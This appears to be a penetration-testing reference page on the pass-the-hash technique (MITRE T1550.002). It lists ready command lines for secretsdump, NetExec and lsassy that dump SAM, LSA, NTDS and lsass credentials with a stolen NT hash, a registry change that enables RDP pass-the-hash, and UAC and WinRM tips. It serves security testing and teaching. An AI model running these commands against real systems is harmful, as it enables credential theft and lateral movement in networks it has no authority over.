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Pass the hash

MITRE ATT&CK™ Sub-technique T1550.002

Theory

An attacker knowing a user's NT hash can use it to authenticate over NTLM (pass-the-hash) (or indirectly over Kerberos with overpass-the-hash).

Practice

There are many tools that implement pass-the-hash: Impacket scripts (Python) (psexec, smbexec, secretsdump...), NetExec (Python), FreeRDP (C), mimikatz (C), lsassy (Python), pth-toolkit (Python) and many more.

The Impacket script secretsdump (Python) has the ability to remotely dump hashes and LSA secrets from a machine (LMhash can be empty) (see dumping credentials from registry hives).

secretsdump.py -hashes 'LMhash:NThash' 'DOMAIN/USER@TARGET'
secretsdump.py -hashes ':NThash' 'DOMAIN/USER@TARGET'
secretsdump.py 'DOMAIN/USER:PASSWORD@TARGET'

NetExec (Python) has the ability to do it on a set of targets. The bh_owned has the ability to set targets as "owned" in BloodHound (see dumping credentials from registry hives).

netexec smb $TARGETS -u $USER -H $NThash --sam --local-auth
netexec smb $TARGETS -d $DOMAIN -u $USER -H $NThash --lsa
netexec smb $TARGETS -d $DOMAIN -u $USER -H $NThash --ntds

Lsassy (Python) has the ability to do it with higher success probabilities as it offers multiple dumping methods. This tool can set targets as "owned" in BloodHound. It works in standalone but also as a NetExec module (see dumping credentials from lsass process memory).

netexec smb $TARGETS -d $DOMAIN -u $USER -H $NThash -M lsassy
netexec smb $TARGETS -d $DOMAIN -u $USER -H $NThash -M lsassy -o BLOODHOUND=True NEO4JUSER=neo4j NEO4JPASS=Somepassw0rd
lsassy -u $USER -H $NThash $TARGETS
lsassy -d $DOMAIN -u $USER -H $NThash $TARGETS

Limitations, tips and tricks

UAC limits pass-the-hash

UAC (User Account Control) limits which local users can do remote administration operations. And since most of the attacks exploiting pass-the-hash rely on remote admin operations, it affects this technique.

  • the registry key LocalAccountTokenFilterPolicy is set to 0 by default. It means that the built-in local admin account (RID-500, "Administrator") is the only local account allowed to do remote administration tasks. Setting it to 1 allows the other local admins as well.

  • the registry key FilterAdministratorToken is set to 0 by default. It allows the built-in local admin account (RID-500, "Administrator") to do remote administration tasks. If set to 1, it doesn't.

In short, by default, only the following accounts can fully take advantage of pass-the-hash:

  • local accounts : the built-in, RID-500, "Administrator" account

  • domain accounts : all domain accounts with local admin rights

RDP Pass-the-hash

Restricted Admin Mode must be enabled to allow pass-the-hash attacks over RDP. It is disabled by default, but we can enable it via the DisableRestrictedAdmin registry entry, as follows:

reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /d 0 /t REG_DWORD

WinRM enables pass-the-hash

Testers should look out for environments with WinRM enabled. During the WinRM configuration, the Enable-PSRemoting sets the LocalAccountTokenFilterPolicy to 1, allowing all local accounts with admin privileges to do remote admin tasks, hence allowing those accounts to fully take advantage of pass-the-hash.

Machine accounts

Just like with any other domain account, a machine account's NT hash can be used with pass-the-hash, but it is not possible to operate remote operations that require local admin rights (such as SAM & LSA secrets dump). These operations can instead be conducted with a Silver Ticket since the machine accounts validates Kerberos tickets used to authenticate to a said computer/service.

A domain controller machine account's NT hash can be used with pass-the-hash to dump the domain hashes (NTDS.dit).

References

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